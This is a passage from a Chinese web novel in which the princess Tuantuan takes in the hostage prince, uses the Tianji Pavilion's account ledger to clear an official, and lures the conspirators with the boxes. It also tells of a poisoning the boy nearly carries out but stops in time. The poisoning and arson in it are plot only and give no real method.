团团走到于公公面前,仰起头,叉着小腰:“喂!你管他愿意不愿意,我愿意就行!我是郡主!这里我的官最大!”
于公公:“……”
团团身为烈国仙使,镇国郡主,与自己确是云泥之别,她一声令下,哪有理由不从?
见他无话可说了,团团看向公孙越:“起来嘛!咱们这就走!”
萧二走过去拉起团团的手:“小姐,咱们先出去,让殿下起床更衣。”
“哦。”团团跟着萧二往外走去,走到门口处还不忘回头,“小越越,你快些啊!”
二人出去后。
于公公的脸顿时变了:“殿下方才为何不出言拒绝?莫非你也想住到宁王府去?”
公孙越叹了口气,故作无奈:“于公公,郡主执意如此,我也无计可施。公公你不是也束手无策吗?”
“父皇的旨意便是让我接近郡主,如今有机会能住进王府,近水楼台,岂非事半功倍?”
“你!那杂家以后同陛下的人碰面岂不是难上加难?”
公孙越微微一笑,起身穿衣:“于公公深得父皇信重,手段何等厉害,这点子小事,想必难不倒你。”
于公公恨恨地瞪了他一眼。
这个怪物,竟敢如此不听杂家的话!难怪临行时陛下叮嘱,严加看管,若有异心,立时杀之。
事已至此,于公公无可奈何,只得简单收拾了些衣物,跟着公孙越,登上团团的马车,搬到了宁王府中。
程如安急忙吩咐将临风居收拾出来给公孙越居住。
团团搂着母亲的脖子,在她耳边低声说了几句。
程如安看了看女儿,点了下头。
很快,下人禀告,临风居已经收拾好了,团团兴高采烈地拉着公孙越去看他的新家。
与质馆的冷清截然不同,这个小院小巧精致,自成天地。
炭盆烧得滚烫,屋内温暖如春,桌上不光有温着的热茶,还备了几样精细的点心,床榻上锦被柔软,幔帐崭新。
真好啊,我从来没住过这么好,这么讲究的地方。
母妃若是在,一定喜欢极了。
公孙越看着团团,眼圈有些发红:“谢谢你,团团。”
团团开心了:“你喜欢就好!以后啊,咱们就可以日日都在一起玩了。”
刘嬷嬷走了进来,身后跟着一个约莫三十余岁的年轻嬷嬷:“殿下,这位是周嬷嬷,今后便由她来照顾您的饮食起居。”
“周嬷嬷好。”
周嬷嬷急忙行礼:“不敢,小殿下安好。”
公孙越问道:“于公公呢?”
刘嬷嬷回道:“于公公已安置在外院了。王妃吩咐了,殿下是贵客,自有府中得力之人照料。于公公自可安心歇息,无事不必入内院打扰殿下清静。”
公孙越一惊,待看到团团一脸得意的小表情后,瞬间明白了,这是团团的主意。
他突然感到了无比的轻松。
以前的日子,无论何时何地,自己的身边都有人看管着,他的一举一动,都要小心翼翼,反复揣摩,生怕出了半点差错,自己的性命保不住不说,还要连累母亲。
如今,他终于可以自由自在地活在属于自己的一方天地了。
他情不自禁地环住了团团,将头埋在她的小肩膀上,轻声道:“团团,你真的是太好了。”
同一时间,于公公拿着自己的几件简单衣物,跟着一个下人走进了王府外院角落的一排矮房。
推开门,一股混杂着汗味与鞋袜气息的热浪便扑面而来。
屋内是一条能睡十几人的大通铺,几个刚换岗的
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侍卫正坐在铺上闲聊、擦拭兵器。
看见他进来,所有人的目光瞬间都落在他身上,肆无忌惮地打量和审视着他。
领路的下人指着通铺上最靠里一个狭窄的位置:“于公公,您以后便歇在此处,府中的弟兄们都会好好照应您的。”
于公公僵在原地,手里那几件衣物仿佛重若千斤。
他在皇宫里伺候了大半辈子,早已独居一室,身边无数小太监殷勤奉承,如今居然要住到这种地方?
还要与这起子浑身汗味的粗鄙武夫挤在一处?
这些侍卫,分明全都是王府日夜监视他的眼线!
当晚,萧元珩回府,得知了这件事。
他不由得哈哈大笑:“好!太好了!团团无心之举,帮了本王的大忙!让他们住进来,在王府的眼皮子底下,看他们还能搞什么名堂!”
次日午后,萧泽来到宁王府找团团。
团团看见他便开心地扑了过去:“大三哥!你都好久没来找我玩啦!”
萧泽俯身扶住她的小肩膀:“团团,我特意赶来跟你说一声,冯舟的案子,怕是要麻烦。”
团团一怔:“冯舟?他怎么了?”
萧泽在她耳边低声道:“兵部查了许久,至今毫无进展,父皇又催得急。今日我偶然得知,兵部打算尽快结案。”
团团眨巴着眼睛:“坏蛋还没抓到啊,怎么结?”
萧泽看着她:“他们很可能要让冯舟扛下所有的罪名。他是私物坊主事,责无旁贷。但若当真如此,那冯舟便是死罪。”
“大三哥,你可以去告诉皇伯父啊!”
萧泽苦笑:“他们并没有做啊,团团。一切只是我的猜测,如何禀告父皇?”
“若我此时去说,兵部定然喊冤,到时更加麻烦。所以,我才在得知消息后第一个来找你。”
团团听不懂这些,她只知道:“冯舟是我的人!我看谁敢动他!”
萧泽当然明白她:“所以,团团,你若是打算救冯舟,便要尽快。尽管这些只是我的猜测,但是,应该**不离十。”
团团想了想,眼睛一亮:“大三哥!咱们去找天机阁!”
第234章 又是那个破顶
萧泽一愣:”天机阁?”
团团点头:“对啊!天机阁!我现在是天机阁的令主啦!三哥哥说,这个令主,很大呢!”
萧泽看着她一脸得意的小模样,笑了:“好,你有办法就好,我就不陪你去了,还得赶紧回去。你让萧二陪着你去,可别乱跑啊。”
“好嘞!我知道啦!你去吧,我找二叔叔去!”
萧泽走后,团团找到萧二,一起去了苏哲厚住的院子。
苏玉衡看到是他们急忙迎了上来,见他们神色匆忙:“郡主,有事?”
团团道:“对啊!我要救人!”
苏玉衡一怔:“救人?”
萧二接口,将冯舟的事简单讲了一遍。
苏玉衡明白了:“原来如此,此事竟涉及私物坊,苏某还当真没有想到。”
团团道:“军营的叔叔们说,那个箭,是运到好多地方做出来的。兵部那群笨蛋查了好久都查不出来。我想让天机阁帮我查这件事,可以吗?”
苏玉衡微笑道:“当然可以啦,郡主如今已是天机阁的玄机令主,你下令便好。”
团团看着他:“我给谁下令啊,你吗?”
苏玉衡哈哈大笑:“陆七!”
萧二闻言一惊。
一个年约三十,身形高大精壮的人无声地走了进来。
他对着苏玉衡拱手:“少阁主。”
团团仰起头看着他,好高啊!跟二叔叔差不多了。
陆七的左眉上,有一道浅疤斜斜划过,腰间别着一柄无鞘短刀。
萧二仔细端详:“阁下莫非便是人称八臂金刚的陆七?”
陆七抱拳:“区区诨号,不足挂齿。”
团团问道:“二叔叔,你认识这个叔叔吗?”
萧二摇了摇头:“只是有所耳闻,今日也是初次相见。没有想到,这般江湖上久负盛名的人物,竟然是天机阁的人。”
苏玉衡道:“陆七,这是本阁的玄机令主,宁王府的嘉佑郡主。”
陆七低头看着团团,就这个小不点儿?
但他还是拱手行礼:“天机阁玄机使陆七,参见令主。”
团团冲着萧二张开手臂:“二叔叔,抱。”
萧二俯身将她抱起。
团团指了指陆七:“近一些,二叔叔。”
萧二凑近到陆七身前。
团团仔细看着陆七脸上的断眉,抬起小手便伸了过去。
陆七本能的上半身往后一仰,避开了。
团团瘪了瘪嘴:“别躲我嘛。”
陆七微微一僵,最终还是站直了身子,任由那只小手碰了过来。
团团摸了摸他的断眉:“疼不疼啊,我明日给你带一支娘亲画眉毛的笔过来,画上就看不出来啦!”
陆七一愣,我?画眉?
他赶忙道:“不,不必。”
苏玉衡面露微笑,小郡主当真是心善,难怪她福运深厚:“陆七,以后你就跟着令主,遵她号令行事。”
“是!”陆七转身退出。
苏玉衡看着团团:“私物坊一事我一无所知,但是,郡主方才提到的,将各种货物运到不同的地方,我倒是知道。”
“你知道?太好啦!冯舟有救啦!”
几人坐下,苏玉衡缓缓道来。
“家父出事之后,幽冥顶让天机阁做的事中,便有采购郡主所说的这些货物。”
团团举着小拳头:“又是那个破顶!”
苏玉衡点了点头:“正是。他们要我天机阁出面采购,然后再利用我们的人脉和门路,分别运到烈国各地。”
“那些货物中,便包括了南方的精铁、西北的‘铁线木’这些。我也是才明白,原来这些,正是九星连**的必备之物。”
萧二问道:“既然少阁主不知这些东西的用途,为何会担心战乱四起,还找到我家小姐相助?”
苏玉衡看向窗外:“因为,后来他们让天机阁采购的货物中,又加上了大量的硝石和**。”
萧二猛地站了起来:“什么?”
苏玉衡转过头来:“因此,我才决定破釜沉舟,求助郡主。”
团团不懂:“二叔叔,那是什么啊。”
萧二给她解释:“小姐,还记得咱们去圣医谷的路上,被困在济阳府吗?王爷带兵来救,便是用**炸开的道路。”
团团想起来了:
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“哇,那**很厉害啊!”
苏玉衡点点头:“寻常人岂会购入此物?更何况数量还如此之多!”
萧二问道:“少阁主可否将你们交易的账册交予我家小姐?若有此物,冯舟便可洗清冤屈了。”
苏玉衡犹豫了:“我明白郡主想要救出这位冯大人,但若交出账册,我天机阁恐怕也会因此获罪,陛下岂能放过?”
萧二无语,他明白,苏玉衡说的是对的。
无论天机阁是否提前知晓,东西是他们买的,也是他们运的,若依**罪,确是难逃罪责。
团团看看苏玉衡,又看看萧二:“你们怎么了?我去找皇伯父说嘛!有什么可担心的?你也是为了苏爷爷嘛!对了,苏爷爷呢?”
“那日你们走后,家父不久便醒了,只是还需静养,我实在担心幽冥顶的人再次对他下手,便连夜将他送走了。”
萧二点头:“理应如此。”
团团跳了起来:“你把那个什么册给我,我去找皇伯父!”
她拍着小胸脯:“放心吧!我保证皇伯父不会对天机阁怎么样的。我是令主嘛!我的人,我一定会护着的!”
苏玉衡深深的看了她片刻,吩咐下人,拿来了一本账册,交给了她:
“郡主,苏某之所以私下求助于你,就是担心天机阁会因此获罪。若你能在此事中保住天机阁,苏某感激万分。”
团团看着手中的账册,开心地笑了,冯舟有救啦!
“放心吧!我走啦!”她拉起萧二的手,“二叔叔,咱们进宫去!”
“对了,我要是有事,怎么找陆七叔叔呢?”
苏玉衡微微一笑:“郡主若是有事,可凭令牌去福运茶楼传令。”
团团一听:“福运茶楼?我去过啊!”
萧二又是一惊:“福运茶楼竟然也是天机阁的?”
苏玉衡点点头:“不止福运茶楼,天机阁在各处均有茶楼酒肆,因此消息才如此灵通。”
萧二拱手:“佩服,佩服。”
二人起身告辞,直奔皇宫。
团团走进紫宸殿,除了皇帝萧杰昀,宋敬贤正端坐在殿中。
第235章 戴罪立功
“呀!老师!”
团团立马心虚了。
自从拜师礼之后,她还没有去过宋府,更别提读书做功课了。
宋敬贤却面带微笑:“团团,你怎么来紫宸殿了?”
“因为这个啊!”团团拿着账册,噔噔噔地跑到萧杰昀的身边:“皇伯父!你看!冯舟真的是冤枉的!你不要怪他了好不好?”
萧杰昀接过账册,翻看起来,渐渐地,脸色便沉了下来。
宋敬贤一看:“团团,到老师这儿来。”
团团走到他身边:“宋爷爷,皇伯父怎么了?”
宋敬贤摇了摇头,静静地等待萧杰昀合上账册:“陛下,何事不悦?”
萧杰昀道:“兵部早前曾经上疏禀告过,九星连**失窃一案,是江湖人所为。”
“朕只是没有想到,这些人如此胆大包天!”
“团团,此账册从何而来?”
团团叽叽喳喳的将苏玉衡如何求助到王府,自己如何跟三哥哥一起去救了老阁主,如何做了天机阁的令主,如何拿到账册都讲了一遍。
当然啦,除了萧泽偷偷来告诉自己的悄悄话,那个可不能让皇伯父知道。
宋敬贤听得一脸惊讶。
团团跑到皇帝身边,扯着他的衣裳,爬上了他的膝头,小猫一样在他身上蹭来蹭去:“皇伯父!天机阁现在是我的人啦,你不要罚他们好不好?你罚他们,不就是罚我嘛!”
萧杰昀板着脸:“胡闹!这是国事!朕岂能顾及私情?”
团团看着他,哎呀,皇伯父生气啦,得好好哄哄他!
她手脚并用地爬到萧杰昀的身后,握起两个小拳头,煞有介事地给他捶着后背:
“皇伯父你最好啦!明什么秋什么啦!他们都是被坏蛋害的,现在可都听我的啦!”
“你要是把他们抓起来,谁帮我去抓那个真正的大坏蛋呀?”
她从皇帝的胳膊下面钻出来,滚到他怀里,面对面地看着他,大眼睛眨巴眨巴:“他们现在帮我,就等于帮你啊!你要是罚了他们,不就是帮了那个坏蛋的忙吗?多亏呀!”
萧杰昀被她这番孩子气的“利害分析”说得一怔,再看着她那个谄媚的小模样,脸色顿时松动了不少。
站在一旁的程公公深深地低下头,唇角勾起,肩膀轻耸。
这事儿啊,还真得小郡主来说,换了旁人啊,陛下早就盛怒了,那个什么天机阁,此时恐怕已经被玄武卫给围了。
宋敬贤含笑开口:“陛下,老臣倒是觉得,郡主虽是童言稚语,却颇有几分道理。”
他看着团团,眼神中满是慈爱与赞赏:“天机阁迷途知返,其情可悯,其行可嘉。”
“更难得的是,他们手中掌握的线索,或将成为破获此案、查出幕后黑手的关键。若此时严惩,无异于自断臂膀。”
他微微一顿:“老夫以为,陛下不妨开恩,准其戴罪立功。”
“如此一来,既全了郡主的承诺,彰显陛下仁德,又能借此良机,将那些祸乱朝纲的宵小之辈,一网打尽。”
“陛下,不知老夫可否能看一下那账册?”
萧杰昀将账册递给程公公,程公公急忙接过来,走到宋敬贤面前,恭恭敬敬的捧了过去。
宋敬贤飞快翻阅了一遍,还给了程公公:“陛下,此账册中所载货物如今已散落四方,追查起来如同大海捞针。”
“老臣所虑者,是这背后的银钱从何而来?能调动如此巨资,其势力深不可测。”
他看向皇帝:“老臣以为,当务之急是釜底抽薪。”
“应先彻查这银钱的源头,断其根基。根基一断,这些散落的货物便成了无源之水,届时再行清理,方能事半功倍。”
萧杰昀沉吟片刻,目光落在团团身上:“团团,既然你力保天机阁,又已经做了人家的令主。”
“那朕便给天机阁一个将功折罪的机会,若你能查明这银钱的背后究竟是何人,朕便对天机阁既往不咎。”
团团一听,脸上顿时乐开了花,她拍了拍小胸脯:“太好啦!皇伯父放心,我一定把这个坏蛋给你揪出来!”
她伸出小手指,眼巴巴地望着皇帝:“咱们拉钩!我帮你找到大坏蛋,你就不要再吓唬我天机阁的人啦!”
萧杰昀啼笑皆非,如此大事,她竟然这般儿戏!
他犹豫了片刻,还是伸出了手指,满足了团团。
团团开心的跳了起来:“谢谢皇伯父!谢谢老师!”
说完草草行了个礼,跑出了大殿。
宋敬贤看着她的背影,微微一笑:“陛下如今真可谓是知人善用,此事交给团团,便相当于交给了宁王府。元珩一家必然会鼎力相助。”
萧杰昀点了点头:“老师慧眼。”
宋敬贤若有所思:“陛下有没有发觉,团团这个孩子,仿佛天生便有聚拢人心之能。”
“如此稚龄,却能使唤得动旁人使唤不了的人,当真有趣。”
萧杰昀微微一怔:“老师所言极是。”
团团拉着萧二来到了福运茶楼。
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走入三楼雅间,小二刚想离开。
“等等!”团团喊住了他,掏出了那块玉牌。
小二看到玉牌马上行礼:“原来是令主驾到。”
团团看了看手里的玉牌,很是惊喜:“这东西这么管用啊?”
小二回道:“阁主有令,见令牌如见令主,不知令主有何事吩咐?”
“我要见陆七叔叔!”
“是。”小二转身而出。
不过片刻,陆七推门而入。
团团甜甜地喊了一声:“七叔叔!”
陆七脚下一个趔趄,险些摔倒,萧二手里的茶盏咚的一声放在了桌子上。
团团急忙凑过去贴贴,抱住了萧二的手臂:“二叔叔,陆七叔叔长得跟你多像啊!你们都那么高!那么大!”
“叫陆七叔叔好累的,所以我就叫他七叔叔啦!”
萧二忍不住扶额,小姐啊,你的嘴可真甜!谁能不喜欢你呢?
陆七站稳身形,素日一本正经,神情冷硬的脸上此刻全是无奈:“令主……称呼属下陆七即可。”
团团拍了拍身边的锦凳:“七叔叔,你过来嘛。”
陆七的嘴角抽了一下,走到锦凳前,笔直地坐下了,后背挺得如同铁板,双手紧握成拳放在膝上。
团团问道:“七叔叔,天机阁买那些东西的银子是谁给的啊,你知道吗?”
陆七回道:“属下知道,每次都是由一个蒙面人送来,用的全是金锭,拿箱子装着,属下从没见过那人的面容。”
那怎么找啊!
团团的眉头皱了起来。
萧二问道:“陆兄,那箱子你可留着?”
陆七点点头:“都留着呢,就在这里,属下这就去取。”
他起身站起,离开了雅间,不多时,手中捧了个小箱子回来了。
一个很普通,很常见的小木箱子,半新不旧的,没有任何特殊之处。
团团看了半晌,问道:“七叔叔,每次都是一样的箱子吗?”
陆七点头:“是的,令主。每次都用的都是这种,只是大小有时不同,共有几十只,都放在茶楼的库房里。”
萧二看得直皱眉:“小姐,这箱子毫无特色,送来的人又次次蒙面,完全无从查起啊。”
团团的小手摩挲着木箱,琢磨了半晌,突然眼神一亮:“二叔叔,七叔叔,认得这箱子的,除了天机阁便是往这里装金子的人对吧?”
两个大汉互相看了一眼,点了点头。
团团摇晃着小脑袋,一脸得意:“我有办法啦!”
第236章 你们怎么这么快啊
次日一早,福运茶楼刚卸下门板开张,来听书喝茶的客人便涌了进来。
他们的脚步不约而同地同时顿住,目光齐刷刷地投向了大厅中央。
那原本平日里,只有说书先生的高台上,此刻竟整整齐齐地码着几十只木箱!
这些箱子大小不一,半新不旧,看着再普通不过,可这般阵仗摆出来,就显得极其怪异了。
茶楼里瞬间炸开了锅。
“哎呦!这是唱的哪一出啊?”
“莫非,这些箱子里有什么宝贝,故而在此展示?”
“不像,你瞧那箱子的模样,样式寻常,做工一般,放到街市上都没人多看一眼,哪像装宝贝的?”
一个急性子的壮汉扯着嗓子就朝着柜台喊:“掌柜的!这摆的是啥**阵啊?赶紧给咱们说道说道!”
众人正在议论纷纷,说书先生不紧不慢地踱步上了高台。
他慢悠悠地坐下,笑眯眯地扫视了一圈台下焦急的众人:“诸位客官,稍安勿躁!”
“各位都看见台上这些箱子了?想必心中都有同一个疑问吧,此乃何物?”
“对啊!快说啊!”台下催促声四起。
说书先生故意卖了个关子,停顿了片刻,才朗声道:“此乃天机阁的玄机令主亲设的一道玄机啊!”
“玄机令主?”众人面面相觑。
“诸位不必猜测令主的身份,只需知道,令主有言,这些箱子关系着一桩天大的秘密与一段未了的因果。”
“今日,便是要广邀京城能人!若有哪位慧眼之士,能识得此箱来历,道破其中关窍,玄机令主便赠其……”
他故意顿了片刻:“黄金千两!”
“黄金千两?!”
茶楼中顿时一片哗然,所有人再看向那些普通的木箱时,眼神中已充满了探究和贪婪。
三楼的雅间内。
团团正趴在栏杆上,津津有味地看着楼下热闹的场景。
萧二抱着手臂,陆七身形笔直,一左一右的守在她的身后。
团团回过头,仰起小脸看着他们,一脸的得意和兴奋:“二叔叔,七叔叔,你们看,大家都好喜欢我的箱子呀!”
“哼!坏蛋就喜欢什么都藏起来,我偏不让他们藏!这样才热闹啊!”
萧二与陆七对视一眼,心中闪过了同一个念头:这京城的水,算是彻底被团团给搅浑了。
福运茶楼的“千金悬赏猜箱子”一事,不到半日便传遍了整个京城的大街小巷。
上至达官贵人,下至贩夫走卒,人人都在议论那几十只神秘的木箱,以及天机阁那位横空出世的“玄机令主”。
千两黄金的悬赏,更是为这桩奇闻添上了一把最旺的火。
与此同时,京城一处府邸的书房中,一个身着暗纹锦袍的男子正负手立于窗前,背影紧绷。
他身后的几名幕僚垂手而立,不敢出声。
“都说说吧,”男子没有回头,声音低沉,“天机阁摆出这般阵势,意欲何为?”
一个幕僚上前一步,小心翼翼地开口:“依属下看,只是虚张声势而已。不过只是一些空箱子罢了,不必过于在意……”
他话音未落,旁边一个幕僚打断了他:“荒谬!你我都认得,那些箱子正是往日用来装运金锭的!”
“天机阁如今将其公之于众,定是知道了什么,这分明便是在向我等**挑衅!岂能坐视不理?”
另一个幕僚若有所思:“莫非……那些箱子上,留下了什么我等未曾察觉的印记或破绽?若当真如此,后果不堪设想啊!”
此言一出,所有人的脸色都是一变。
众人面面相觑,屋内安静了片刻后。
“此物留不得!必须毁掉!”
“不错,无论是偷是抢,或是干脆一把火烧个干净,绝不能再让它们再如此引人注目!”
窗前的男子猛地转过身,眼中寒光骇人:“好一个天机阁!昨夜那边才告知他们已脱困,便迫不及待地想要反噬了?”
他深吸了口气:“既如此,今夜便动手,连箱子带茶
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楼,都给我一并烧了!永绝后患!”
“是!”
是夜,福运茶楼内外静得出奇。
三楼的雅间内,萧元珩端坐于黑暗之中,怀中抱着裹在小斗篷里的团团。
团团一心想看爹爹和二哥哥怎么抓坏蛋,却因为等得太久,窝在父亲的怀中睡了过去。
萧二和陆七站在雅间门前,目光炯炯地盯着茶楼的大门。
萧宁辰亲自带着一队精锐,屏息凝神地伏在茶楼高低错落的屋顶上。
几条黑影如同鬼魅,从相邻的街巷中闪出,悄无声息地贴近了茶楼的墙边。
来了!
萧宁辰眼神一凛,打了个手势,所有伏兵全神贯注地盯紧了他们。
只见那几条黑影从背后解下几个小桶,揭开盖子,一股刺鼻的菜油味顿时在空气中弥漫开来。
他们举起油桶,将菜油泼洒在茶楼周围,一个黑衣人从怀中掏出了火折子。
“动手!”萧宁辰一声令下。
屋顶上数名精锐同时发力,将早已备好的几大桶菜油,朝着下面的黑影兜头泼下!
“哗啦——!”
那几个黑衣人瞬间浑身湿透。
也是菜油?这火万万不能点了!
“有埋伏!撤!”
为首的黑衣人一声大喊,转身便逃。
但他们浑身油滑,脚步踉跄,还没跑出几步,萧宁辰便带着人从天而降,不过片刻的功夫,所有贼人便已被尽数放倒在地。
萧元珩此时才抱着团团,从容不迫地从茶楼里走了出来。
团团被动静惊醒,迷迷糊糊地睁开了双眼,看着地上被捆得结结实实的几个贼人,撅起了小嘴:“爹爹,二哥哥,你们怎么这么快啊,我都没看见你们是怎么抓的!”
萧宁辰走过来捏了捏她的小脸蛋:“你啊,不用看,好好睡就行了。”
萧元珩哈哈大笑,轻轻揉了揉女儿的小脑袋:“将他们带回王府!严加审讯!”
次日一早,有人招供,是受了陈王之子陈浩的主使。
第237章 快让他进来呀
萧元珩喃喃道:“陈王的嫡长子陈浩?”
程如安面带忧色:“王爷,陈浩那个孩子,在圣上面前还给团团求过情呢,不像是做这种事的人啊。”
“陛下登基之初,陈王确实蠢蠢欲动,但这些年,他待在封地恪守本分,未有丝毫逾矩。难道是,他又起了什么心思?陈浩是奉了陈王的命,才不得已而为之?”
萧元珩沉吟片刻后:“继续审,将他们全部分开问,让他们说清楚全部细节。”
“是。”
团团香喷喷地睡到快中午才醒,起来便去了临风居。
“小越越!你在干什么?”
公孙越脸色红润,面带微笑:“团团!周嬷嬷刚刚做了菊花糕,你快来尝尝。”
团团跑到桌边坐下,从碟子里先拿起一块递给公孙越:“你也吃啊!周嬷嬷给你做的呢。”
然后自己也拿起一块,咬了一口:“真香!”
团团小腮帮子塞得鼓鼓的:“小越越,你这里够不够暖和啊?不够我让人再给你加两个炭盆。”
公孙越边吃边点头:“够啦!够啦!夜里睡觉我都出汗了呢,这里真好!以前我经常睡到半夜都能冻醒。”
团团心疼得不行:“小越越,我要是早知道你住的地方那么糟糕,我早就让你搬过来住了。”
公孙越心中酸软:“团团,你对我已经够好的了,谢谢你。”
团团笑了:“你已经说过啦!对了,咱们今日去看我的大猫好不好?我都好久没去看它了。”
“大猫?”
“对啊!可漂亮了呢!咱们一会儿就去!”
两个小团子吃完点心,禀告过程如安后便去了万灵苑。
在万灵苑撸够了大猫,他们回到了王府。
马车才停下,萧二先将团团抱了下来,于公公赶忙迎上来扶着公孙越下了马车:“殿下,老奴几日没见到您了,殿下可安好?”
团团看着他就不顺眼:“他好得很呢,不用你操心!”
于公公躬身哈腰地回道:“是!是!殿下在这里住着,自然是一切都好的。殿下,让老奴送您进去吧。”
公孙越明白,他这是有话要跟自己说:“团团,你先进去吧,让他送我一趟,没事儿的。”
团团横了于公公一眼,没再说什么,拉着萧二的手往里走去。
于公公小心翼翼地扶着公孙越,低声道:“殿下,云妃娘娘的身子近来不大好,您若是再不赶紧,恐怕赶回去也见不到她了。”
公孙越心里咯噔一下:“母妃怎么了?”
“老奴也不清楚,但传来的消息便是如此,殿下您自己掂量着办吧。”
他往公孙越的手中塞入一物:“放入宁王的饮食中,次日才会发作,神不知鬼不觉,殿下便可以回去见云妃了。”
公孙越紧紧地攥住手里的东西,心慌意乱。
晚膳时,一家人都到齐了。
下人们端上来一碗碗热气腾腾的羹汤。
趁着羹汤摆上来的功夫,公孙越起身佯装布菜,袖口状似无意地从萧元珩的汤碗上方拂过。
指尖微抖,无色无味的毒粉便落入了浓白的汤汁里,瞬间消失无踪。
他刚坐回,便眼看着萧元珩随手拿起了汤勺,舀起一勺,递向唇边。
公孙越紧盯着他,呼吸骤然停滞。
“王爷!京郊大营来人,求见王爷!”
下人匆匆走入来报。
萧元珩放下汤勺:“你们先用,我去去就回。”起身走了出去。
公孙越僵坐着,后背出了一层冷汗。
那碗下了毒的汤,好端端地还在原处。
极度紧绷的神经骤然松弛,带来一阵虚脱般的晕眩,他脸色发白,额角渗出了细密的冷汗。
“小越越,你怎么啦?”
团团看着他,伸出小手指摸了摸他的额头:“你的脸好白哦!哪里不舒服呀?”
众人顿时都看向了他,神情关切。
程如安走过来,摸了摸他的额头:“不烫啊。”
公孙越心头一慌,强自镇定地挤出了一个笑容:“没、没事。许是下午在万灵苑里走得久了些,腿有些酸疼。”
“原来如此。”萧宁远笑了,“不妨事,我在你这个年纪也这样,但凡多跑
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动一会儿,第二天便浑身酸疼。小孩子长筋骨,都是如此。”
萧宁珣挑眉,促狭地看向他:“得了吧大哥,咱们兄弟三个,属你最吃不得苦,所以如今武功才最差。就是从小懒出来的毛病。”
团团一脸惊奇地看向萧宁远:“哇!大哥哥,原来你小时候这么懒呀!”
萧宁远脸一红,没好气地捶了萧宁珣一拳:“就你话多!成天在团团面前揭我的短!”
众人不禁哄笑起来。
程如安走回座位坐下,看着儿女们说笑,笑着摇了摇头。
公孙越也跟着弯起了嘴角,心却像是被撕成了两半。
宁王,你最好别回来了。
我可以告诉于公公,事情我已经办了,但是,你运气好啊,没办成,不怪我。
可是,你若是不回来喝下这碗汤,我便无法回去看母妃。
母妃如今病重,难道我连回去看看她都不行吗?
你还是快回来吧。
团团,你对我这么好,若是知道是我害了你的爹爹,一定会恨我吧。
我不想你恨我啊,你是我唯一的朋友了。
焦灼和担忧,自责和愧疚,疯狂地灼烧着他的五脏六腑。
冰火交织似的煎熬下,他脸上的笑容都快维持不下去了。
屋内笑语未歇,萧元珩回来了,撩袍入座,再次伸手,拿起了汤勺。
公孙越稍稍落回的心瞬间又提到了喉咙口。
“小小姐,”下人再次快步走入,“外头来了一个自称是汪大人的人,说是,小小姐让打听的事,有回音了。”
萧元珩动作一顿,放下了汤勺,看向女儿,团团让汪明瑞打听了什么?
团团小脸放光:“快让他进来呀!”
公孙越只觉得一颗心上不去也下不来,如同被架在火上反复炙烤。
他几乎快喘不过气了。
一个风尘仆仆的汉子走进来行礼。
团团迫不及待地在凳子上站了起来,萧宁珣急忙伸手一扶:“小心些!”
那汉子抬起头:“郡主,您让打听的,大夏云妃娘娘的近况,刚刚传回来了。”
第238章 当然有啦!
云妃!
公孙越猛地抬起了头,浑身的血液几乎都凝固了。
那汉子从怀中取出一支素雅的珍珠发簪,双手奉上:“此为云妃娘娘的信物,娘娘一切安好,问起小殿下近况,甚是挂念。”
公孙越猛地站起,走过去接过了发簪,眼泪再也忍不住了,这是母妃的!是她最喜欢的!
于尽忠!你骗我!母妃根本就没有病重!你只是想利用我,逼我对宁王下手!
不行!我不能杀了宁王!绝对不能!
团团如此待我,我怎能杀了她的爹爹?
他回头看了一眼团团,一把抹掉脸上的眼泪,走到萧元珩面前扑通一声跪下:“多谢宁王!让我得知母妃近况!”
说完便磕了一个响头。
萧元珩连忙俯身将他扶起,公孙越看准时机,佯装不小心碰到了桌上的汤碗,
“哐当——!”
汤碗跌落在地,汤汁泼洒出来,溅湿了萧元珩的衣襟。
公孙越颤抖着声音:“对、对不起!王爷!我,我不是故意的……”
团团马上护着他:“小越越你怕什么啊,我爹爹才不会为了一碗汤生气呢!对不对呀爹爹?”
萧元珩只当公孙越是听到母妃的音信后激动得失了分寸,微微一笑:“无妨,不过只是件衣裳罢了。”
程如安温声安抚:“快坐下吧,这孩子,定是惊喜的过头了。这是喜事,该开心才是。”
团团歪着小脑袋:“小越越,是我让汪叔叔去打听你母妃的消息的,你怎么谢我爹爹不谢我呢?”
公孙越愣住了,微张着嘴,不知该如何解释。
刚才他急着将那汤碗打翻,却没有想到这一点。
程如安笑了:“团团,汪叔叔是你爹爹的好友,他谢你爹爹又有什么不对?”
公孙越闻言,一口气松了下来。
团团想了想:“也对哦!”
她看着公孙越的饭碗:“哎呀,小越越!你怎么吃得这么少啊!快过来,接着吃嘛!”
公孙越这才走回到桌边,坐了下来。
团团给他的碗里不停地夹菜:“你现在开心了吧,多吃点儿嘛!”
公孙越看着她,用力点了点头,大口地往嘴里扒着饭菜,一颗心终于落回了肚子里。
两日后,萧二问团团:“小姐,那些箱子还在茶楼台子上放着呢,要不要收起来?”
团团一听,拉起他的手:“走,二叔叔,小越越,咱们去茶楼看看!”
三人来到了福运茶楼,走进了三楼的雅间。
公孙越第一次来,只觉得什么都好,看的眼花缭乱:“团团,这里真好啊,这么热闹!”
“对啊,我也喜欢这里。小越越,你来,坐这里。”
团团不喜欢闷在屋里,坐到了三楼的栏杆前,公孙越贴着她也坐下了:“这里是比屋里好,看得更清楚。”
萧二无奈,只得也从屋里出来,站在了他们身后。
“团团,为何会有一堆箱子堆在台上?”
团团得意的一笑:“这可是坏蛋的箱子哦!我把它们放在这里,吓唬那些坏蛋的。”
公孙越盯着那些箱子:“我从来没见过这么多箱子堆在一起。”
团团道:“我是第二次啦!上一次,还是在另一个坏蛋的山洞里,看到过这么多箱子堆在一起。”
萧二闻言微笑,想起了那次团团让猫头鹰带路,找到镇国候家藏宝洞的事。
团团看着下面的箱子堆:“还真挺像的呢!”
萧二心中一动,记忆中的点点滴滴逐渐浮现,这堆箱子确实挺像的山洞里的那些的,莫非?
“小姐!我下去看看!”说完,他便冲了下去。
团团一脸奇怪地看着他三步并作两步地跑到了台上,围着箱子走了好几圈,还动手一个一个都摸了一遍。
此时恰逢说书先生没有在,几个喝茶的客人们目瞪口呆地看着萧二奇怪的举动。
萧二从台上下来,回到了三楼。
他一脸兴奋:“小姐!你可真是太有福气了!”
团团奇怪:“我怎么了?”
“方才我听你提到山洞里的箱子,越看越觉得眼熟!”
“那日我跟弟兄们搬了那么多东西,碰了无数次那些箱子。方才我仔细看了也摸了,没错,这些箱子跟山洞
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里的几乎一模一样!”
团团听得眼睛都亮了:“二叔叔你的意思是,咱们找到给天机阁银子的坏蛋了?”
萧二点了点头:“可以这么说。”
团团连忙站了起来拉起公孙越:“小越越,咱们改天再来玩,我要去做大事啦!”
